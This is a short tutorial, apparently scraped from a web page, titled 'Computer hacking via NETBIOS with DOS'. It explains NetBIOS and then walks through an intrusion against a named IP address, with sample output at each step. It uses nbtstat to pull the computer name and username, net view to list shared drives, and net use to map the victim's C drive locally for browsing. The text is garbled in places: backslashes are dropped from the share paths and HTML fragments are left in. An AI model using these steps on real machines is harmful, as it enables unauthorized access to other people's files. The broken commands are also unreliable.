**Computer hacking via NETBIOS with DOS**

1. -: NetBIOS Hacking :-
NetBIOS stands for ''Network Basic
Input Output System''.
It was originally developed by IBM
and Sytek as an Application
Programming Interface (API) for
client software to access LAN
resources.
By default it runs on port 139.
NetBIOS gives the various
information of the computers on a
network, which includes computer
name, username, domain, group,
andmany others.....!
The NBTSTAT Command :-
NBTSTAT is the command for
manually interact with NetBIOS
Over TCP/IP.
All the attributes (switches) used
with nbtstat command and their
usage can be viewed.
At the command prompt type-
C:Windows>nbtstat
Sample NBTSTAT Response :-
C:>nbtstat -A 117.200.160.174
NetBIOS Remote Machine Name
Table
Name Type Status
----------------------------------------------
PRASANNA <00> UNIQUE
Registered
INSECURE LAB <00> GROUP
Registered
PRASANNA <03> UNIQUE
Registered
PRASANNA <20> UNIQUE
Registered
INSECURE LAB <1E> GROUP
Registered
MAC Address = 86-95-55-50-00-00
An intruder could use the output
from an nbtstat against your
machines to begin gathering
information about them.
''<03> in above table is nothing
but the username of that system.''
The next step for an intruder
would be to try and list the open
shares on the given computer,
using the net view command.
Here is an example of the Net View
command-
C:>net view ''117.200.160.174
Shared resources at
''117.200.160.174
Sharename Type Comment
----------------------------------------
C Disk Drive C br />
MySofts Disk My Softwares
Collection
E Disk Drive E br />
The command was completed
successfully.
This information would give the
intruder a list of shares which he
would then use in conjunction
with the Net Use command, a
command used to enable a
computer to map a share to it92s
local drive, below is an example of
how an intruder would map the C
Share to a local G: drive, which he
could then browse...!
C:>net use G: ''117.200.160.174C
The command was completed
successfully.
C:>G br />
G:>
